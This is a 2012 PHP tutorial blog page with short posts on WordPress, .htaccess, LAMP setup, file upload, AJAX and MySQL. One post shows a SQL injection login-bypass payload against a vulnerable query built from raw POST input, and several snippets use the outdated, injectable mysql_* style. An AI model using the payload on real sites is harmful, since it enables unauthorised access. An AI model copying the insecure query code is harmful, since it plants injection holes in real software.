Showing posts with label PHP. Show all posts
Showing posts with label PHP. Show all posts

Dec 15, 2012

How to Change a Broken WordPress Theme Using PHPMyAdmin


 


Sometimes when editing .php files you will make a mistake and end up breaking your theme or sometimes you might upload a theme that is old and out of date or is just too problematic and it needs to be switched back to the twenty ten default theme.



Some times the following error may occur.



Change a Broken WordPress Theme 1


 


Here is an easy way to switch to the twenty ten default theme using PHPMyAdmin.


 


Step 1


 


Go into your cPanel and look for the Databases section and click on the phpmyadmin link.




 


Step 2


 


Select the database where your WordPress is stored.




 


Step 3


 


Select the ‘wp_options’ table from the menu on the left.

 

How to Add Leverage Browser Caching in WordPress Website via .htaccess


 


Step 1


 


First you need to access your .htaccess file through cPanel by clicking on the File Manager. When the popup box appears, click on the Web Root option and make sure that the “Show hidden files” option is checked.


 


Add Leverage Browser Caching 1





 


Step 2


 


Open up your .htaccess file and paste the following directives at the top of the file:


 

Dec 13, 2012

MySQL database export to pdf using PHP


 


To export whole database or whole table content we can use phpMyAdmin Export option but if you want to export some rows or any query result then we should perform some other way.


 


To create PDF file we should first download the FPDF Library - Click Here.


 


Copy the following code and create a new PHP file called exportpdf.php and paste the content into it or download the file - Click Here


 


Sample Output


Export PDF



Sample Code


 


<?php


require('fpdf.php');


$d=date('d_m_Y');


 

Dec 12, 2012

How to fix ereg and ereg_replace is deprecated errors in PHP 5.3


 


If you upgraded to PHP 5.3 Version, chances are high you’re going to run into a few warnings or deprecated function error messages.


 


ereg is deprecated


 


An example is the ereg family of functions, which are gone for good, as they were slower and felt less familiar than the alternative Perl-compatible preg family.




 


To migrate ereg() to preg_match()


 


Before


 


ereg('\.([^\.]*$)', $this->file_src_name, $extension);


 


After


 


preg_match('/\.([^\.]*$)/', $this->file_src_name, $extension);


 


Notice that we should wrapped the pattern (\.([^\.]*$)) around / /, which are RegExp delimiters. If you find yourself escaping / too much (for an URL for example), you might want to use the # delimiter instead.




Dec 7, 2012

How To Optimize Your Site With GZIP Compression


 


Step 1


 


First you need to access your .htaccess file through cPanel by clicking on the File Manager. When the popup box appears, click on the Web Root option and make sure that the “Show hidden files” option is checked.


 


Add Leverage Browser Caching 1





 


Step 2


 


Open up your .htaccess file and paste the following lines.


 


Dec 1, 2012

How to Install NetBeans on Ubuntu


To use NetBeans for Java, PHP programming, you need to first install JDK. Read "How to install JDK on Ubuntu".



Step 1 : Download netbeans


 


Download NetBeans from http://netbeans.org/downloads/. Choose platform "Linux (x86/x64)" ⇒ "Java SE". You shall receive a sh file (e.g., "netbeans-7.x-ml-javase-linux.sh") in "~/Downloads".


Set the downloaded sh file to executable and run the sh file.




Step 2 : Install netbeans


 


Open a Terminal and type the following commands.


 


cd ~/Downloads


chmod a+x netbeans-7.x-ml-javase-linux.sh   // Set to executable for all (a+x)


./netbeans-7.x-ml-javase-linux.sh                   // Run


 


Follow the instructions to install NetBeans.




How to install LAMP in ubuntu


 



Open terminal or press Ctrl + Alt +T and type the following command


 


sudo apt-get install lamp-server^


 


lamp 2





 


When you search for the name of the package that the given command seems to install cannot be found using apt-cache search. e.g. You will see this used most often when someone tells you how to install LAMP server setup (Linux-Apache-MySQL-PHP) by using the command “sudo apt-get install lamp-server^”. If you miss the caret at the end or try to search for lamp-server, it just doesn’t work.


 

Nov 29, 2012

How to find the Web Server that a web site runs on


There are many website that provides this type of services. The program detects the web server that a web site is running on.


 


Website 1


 


http://www.yellowpipe.com/yis/tools/craftnet/index.php?q=www.jijokjose.com&submit=OK


 


How to find the Web Server that a web site runs on 1




 

Nov 14, 2012

Various Array Operations in PHP


An array can be created using the array() language construct. It takes any number of comma-separated key => value pairs as arguments.



array(



    key  => value,



    key2 => value2,



    key3 => value3,



    ...



)




The comma after the last array element is optional and can be omitted. This is usually done for single-line arrays, i.e. array(1, 2) is preferred over array(1, 2, ).





 

Nov 4, 2012

Install LAMP (Linux + Apache + MySQL + PHP ) in Ubuntu 12.10


LAMP stands for Linux, Apache, MySQL and PHP. This script installs those programs and packages at once easily in Ubuntu.



Press Ctrl + Alt + T on your keyboard to open the terminal. When it opens run the commands below to install the packages.


 


sudo apt-get install lamp-server^


 



During the installation, you’ll be prompted to create a password or MySQL server. Create one to continue.


 


Test 1 - Apache


 


After the installation, test Apache by opening your web browser and typing localhost. When you seen the screen below, it means Apache is functioning.


 


Install LAMP (Linux + Apache + MySQL + PHP ) in Ubuntu 12.10




Oct 19, 2012

Upload .doc and .docx file using PHP


To download code - Click Here



Step 1



Create one html file named index.html and paste the following code into it.



<html>



<body>



<form enctype="multipart/form-data" method="POST" action="upload.php">This is the code for html:



<table border="0">



<tbody>



<tr>



<td align="left">File:</td>



<td><input accept="doc/docx" name="filename" size="40" type="file" /></td>



</tr>



<tr>



<td><input name="Upload" type="submit" value="Upload" /></td>



</tr>



</tbody></table>



</form>



</body>



</html>




Oct 10, 2012

Ajax - Jquery Auto Refreshing DIV


 


The following demo example display server timestamp on every 2 second. You can easily edit the code and display any database content.


 





 


 


 


You have a div that you would like to be up to date on your website without having the page refresh event, this problem can be solved by using the following script. Let’s say that you want to show the total number of rows in a particular table on every 3 second without performing a page refresh event. Then do the following steps


 



 


Step 1 - Load ajax Script


 


<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.7.2/jquery.min.js"></script>


 


This script load ajax script remotely.



Sep 24, 2012

How to find id of last inserted row in MYSQL using PHP


 



To find id (auto increment) value of last inserted row, put the following code into the PHP page.



<?php



$link = mysql_connect('localhost', 'mysql_usenamer', 'mysql_password');


if (!$link) {


    die('Could not connect:to the database ' . mysql_error());


}


mysql_select_db('mydb');


 


mysql_query("INSERT INTO mytable (user) values ('jijo')");


printf("Last inserted record has id %d\n", mysql_insert_id());


?>




Sep 7, 2012

How to login as Administrator in website without having username and password


 


Method 1


 


If the PHP code in the login check page is like below


 


<?php


 


$username=$_POST['username'];


$password=$_POST['password'];


mysql_query("select * from user where username='$username' and password='$password'");


 


?>


 


Then we can easily login to the system without having any username or password. Change the value of username and password so that it bypasses login check.


 


Put the value of username : test1 


Put the value of password  : test2' or '0'='0


 


Then the PHP code in the login check page will be changed to


 


<?php


 


$username=$_POST['username'];


$password=$_POST['password'];


mysql_query("select * from user where username='test1' and password='test2' or '0'='0");


 


?>


 


Then 0=0 will always return a true value. Then database returns the first row from the user table so we can login as the first user.



Sep 2, 2012

How to send Email using PHP


 


Method 1 – Using phpMailer() function



First you need to download phpMailer from the following link



http://code.google.com/a/apache-extras.org/p/phpmailer/downloads/list



Or you can copy the following code and set username and password fields with your own gmail account username and password.



<html>



<head>



<title>PHPMailer - SMTP (Gmail) basic test</title>



</head>



<body>



<?php



//error_reporting(E_ALL);



error_reporting(E_STRICT);



date_default_timezone_set('America/Toronto');



require_once('../class.phpmailer.php');


Sep 1, 2012

How to find name of the current page in PHP


Method 1



To display full path name



<?php



echo $_SERVER['PHP_SELF'];



?>



Output ==> /public_html/index.php





Method 2



To display only the file name use the following query.



<?php



    $currentFile = $_SERVER["PHP_SELF"];



    $parts = Explode('/', $currentFile);



    echo $parts[count($parts) - 1];



?>



Output ==> index.php





Method 3



<?php



echo realpath(dirname(__FILE__));


 



?>



Output ==> C:\wamp\www\public_html\wp-content\plugins\exec-php\includes






 


Method 4


 


<?php


 


echo getcwd();


 


?>


 


Output ==> C:\wamp\www\public_html






 


Method 5


 


<?php


 


echo $file=$_SERVER['DOCUMENT_ROOT'];


 


?>


 


Output ==> C:/wamp/www/





Method 6




<?php


 


echo $_SERVER["SCRIPT_FILENAME"];


 


?>


 


Output ==> C:/wamp/www/public_html/index.php


 




 

Aug 29, 2012

How to import csv data into the database using php


 



To download code - Click Here



Step 1



Create a database db_test and add one table named test with the following fields



name



username



department



phone






Aug 19, 2012

How to remove "headers already sent" error in PHP


 



This error occurs mainly when you are working PHP in Linux Servers.



Method 1



The "headers already sent" error is usually caused by having white space before or after the opening and closing PHP tags (<?php . . . ?>).





Method 2



In top of page put



ob_start();



In bottom of page put



ob_flush();




Aug 5, 2012

How to retrieve data from database using AJAX in PHP


 



To download code - Click Here



To retrieve data from MYSQL or any database using AJAX, you need to do the following steps



Step 1



Create a database db_test and add one table named test with the following fields



name



username



department



phone